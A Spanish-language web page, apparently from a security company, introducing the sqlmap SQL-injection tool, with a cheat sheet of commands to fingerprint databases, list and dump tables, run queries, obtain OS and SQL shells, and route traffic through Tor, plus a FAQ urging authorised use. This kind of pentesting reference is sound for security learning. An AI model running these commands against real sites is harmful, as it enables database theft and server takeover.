SQLMap - Herramienta Automática de Inyección SQL

Sqlmap es una herramienta open source programada en Python, diseñada para automatizar el proceso de detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Esta herramienta de seguridad es un must-have en el arsenal de cualquier especialista en ciberseguridad. Su amplia gama de funcionalidades permite a los usuarios listar bases de datos, recuperar hashes de contraseñas, privilegios y más, en el host objetivo después de detectar inyecciones SQL.

sqlmap - herramienta en Python para inyección SQL

Índice

Características destacadas

  • Soporte completo para MySQL, mariadb, Oracle, PostgreSQL y Microsoft SQL. Además, puede identificar otros DBMS como Microsoft Access, DB2, Informix, Sybase e Interbase.
  • Amplia base de datos para identificación de gestores de base de datos a través de mensajes de error, análisis de banner y funciones de salida de comparación, entre otras.
  • Soporte completo para la mayoría de técnicas de inyección SQL, como: blind SQL injection y inband SQL injection.

A continuación, puedes ver algunos comandos de la herramienta en acción:

A el comando sqlmap ya sea en Windows (sqlmap.exe) para Linux (sqlmap o sqlmap.py) o en MacOS (sqlmap), vas a añadir los siguientes parámetros para conseguir los resultados esperados.

Identifica la versión del banner de la base de datos:

 -u "http://XXXXXXXXXXX/detail.php?code=XXXXX" -b

Listar bases de datos con sqlmap:

 --dbms=mysql -u "DIRECCIONURL" --dbs

Listar tablas:

 --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --tables

Dumpear la información de tabla:

 --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" -T "TABLAS" --dump

Definir el parametro a explotar en sqlmap:

 --dbms=mysql -u "http://XXXXXXXXXXX/detail.php?code=value1&param2=value2" --dbs -p param2

Si la url tiene URI´s bonitas:

 --dbms=mysql -u "http://XXXXXXXXXXX/detail/code/value1*/param2/value2" --dbs

Conseguir shell del sistema (si es viable):

 --dbms=mysql -u "DIRECCIONURL" --os-shell

Conseguir shell de SQL:

 --dbms=mysql -u "DIRECCIONURL" --sql-shell

Ejecutar consultas directamente:

 --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --sql-query "SELECT * FROM TABLAS;"

Utilizar tor en sqlmap para las peticiones:

 --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "DIRECCIONURL" --dbs

 

Listar todos los comandos:

 --help

 

Añadir una cookie:

 --cookie='PHPSESSID=sfoaj2jsh3e2hkjhakh23e;' --dbs --dbms='mysql' -u "DIRECCIONURL"

Hoja de Trucos o Cheat Sheet para SQLMap:

SQLmap Cheat Sheet
SQLmap Cheat Sheet

Preguntas frecuentes sobre Sqlmap

  • ¿Qué es?
    Sqlmap es una herramienta de código abierto que automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web, muy útil en procesos de pentesting.
  • ¿Cómo lo instalo?
    Es un script de Python, por lo que necesitas tener Python instalado en tu sistema, si tienes sistema operativo Kali Linux, ya tienes tanto Python como la herramienta instalada, tambien puedes clonar el repositorio oficial desde GitHub o descargar el archivo .zip y ejecutarlo desde la línea de comandos.
  • ¿Es seguro de usar?
    Sqlmap es seguro de usar siempre y cuando se utilice de manera ética y responsable, y con el debido permiso en los sistemas que se están probando, una aplicación vulnerable a sql injection donde puedes practicar es DVWA - Damn Vulnerable Web App.
  • ¿Puede detectar todas las vulnerabilidades de inyección SQL?
    Sqlmap es una herramienta muy poderosa, pero no es infalible. Siempre es posible que se pasen por alto vulnerabilidades de inyección SQL, especialmente en casos en los que el sistema está utilizando medidas de protección avanzadas.
  • ¿Cómo se actualiza?
    Puedes actualizar la herramienta clonando la última versión del repositorio oficial en GitHub. También puedes usar el comando 'git pull' si ya has clonado el repositorio anteriormente.
  • ¿Es gratuito?
    Sí, es una herramienta de código abierto y completamente gratuita para su uso.

¿Interesado en proteger tu empresa de Inyecciones SQL? Contacta a DragonJAR para obtener más información sobre nuestros servicios de pentesting de aplicaciones web:

Más Información sobre SQLMap:

Subir